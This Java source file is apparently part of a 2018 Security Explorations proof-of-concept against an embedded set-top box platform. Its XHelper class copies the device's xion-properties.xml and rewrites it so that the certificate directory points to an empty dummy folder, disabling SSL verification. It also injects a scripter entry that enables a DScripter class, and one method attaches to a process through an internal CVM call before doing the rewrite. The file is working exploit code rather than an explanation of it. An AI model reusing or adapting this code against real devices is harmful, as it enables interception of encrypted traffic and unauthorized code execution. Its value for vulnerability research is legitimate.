/*## (c) SECURITY EXPLORATIONS    2018 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* THIS SOFTWARE IS PROTECTED BY DOMESTIC AND INTERNATIONAL COPYRIGHT LAWS    */
/* UNAUTHORISED COPYING OF THIS SOFTWARE IN EITHER SOURCE OR BINARY FORM IS   */
/* EXPRESSLY FORBIDDEN. ANY USE, INCLUDING THE REPRODUCTION, MODIFICATION,    */
/* DISTRIBUTION, TRANSMISSION, RE-PUBLICATION, STORAGE OR DISPLAY OF ANY      */
/* PART OF THE SOFTWARE, FOR COMMERCIAL OR ANY OTHER PURPOSES REQUIRES A      */
/* VALID LICENSE FROM THE COPYRIGHT HOLDER.                                   */

/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS    */
/* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,*/
/* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL    */
/* SECURITY EXPLORATIONS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */
/* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF  */
/* OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE     */
/* SOFTWARE.                                                                  */

import java.lang.*;
import java.io.*;

public class XHelper {
 public static String org_config   = "/lib/xion-properties.xml";
 public static String new_config   = "/flash/xion-properties.xml";

 public static String org_string   = "<http-client";
 public static String new_string   = "<http-client schemes=\"http:https:dlnahttp\" cert-dir=\"/flash/dummy/\" />";

 public static String org_scripter = "<scripter";
 public static String new_scripter = "<scripter language=\"dscript\" class=\"flash.DScripter\" cache-mode=\"permanent\" />";

 public static String dummy_dir    = "/flash/dummy/";

 private static String pad(int num) {
  String s="";

  for(int i=0;i<num;i++) {
   s+=" ";
  }

  return s;
 }

 private static void write_line(OutputStream out,String s) throws IOException {
  byte bytes[]=s.getBytes();

  for(int i=0;i<bytes.length;i++) {
   out.write((int)bytes[i]);
  }

  out.write(0x0a);
 }

 public static boolean rewrite_xion_config(boolean disable_ssl,boolean inject_scripter) {
  boolean res=false;

  try {
   new File(dummy_dir).mkdirs();

   FileInputStream in=new FileInputStream(org_config);
   BufferedReader b=new BufferedReader(new InputStreamReader(in,"utf-8"));

   FileOutputStream out=new FileOutputStream(new_config);

   String line=b.readLine();

   while(line!=null) {
    int idx=line.indexOf('<');

    if (idx>0) {
     String s=line.substring(idx);

     if (disable_ssl&&s.startsWith(org_string)) {
      line=pad(idx)+new_string;
      disable_ssl=false;
     } else

     if (inject_scripter&&s.startsWith(org_scripter)) {
      write_line(out,line);
      line=pad(idx)+new_scripter;
      inject_scripter=false;
     }
    }
    
    write_line(out,line);

    line=b.readLine();
   }

   out.close();
   b.close();
   in.close();

   res=true;
  } catch(Throwable e) {}

  return res;
 }

 public static int disableSSLsecurity() {
  int res=0;

  int pid=sun.misc.CVM.attachProcess(-1);

  try {
   new File(dummy_dir).mkdirs();

   FileInputStream in=new FileInputStream(org_config);
   BufferedReader b=new BufferedReader(new InputStreamReader(in,"utf-8"));

   FileOutputStream out=new FileOutputStream(new_config);

   String line=b.readLine();

   while(line!=null) {
    int idx=line.indexOf('<');

    if (idx>0) {
     String s=line.substring(idx);
     if (s.startsWith(org_string)) {
      line=pad(idx)+new_string;
     }
    }
    
    write_line(out,line);

    line=b.readLine();
   }

   out.close();
   b.close();
   in.close();

   res=1;
  } catch(Throwable e) {}

  sun.misc.CVM.detachProcess(pid);

  return res;
 }

}
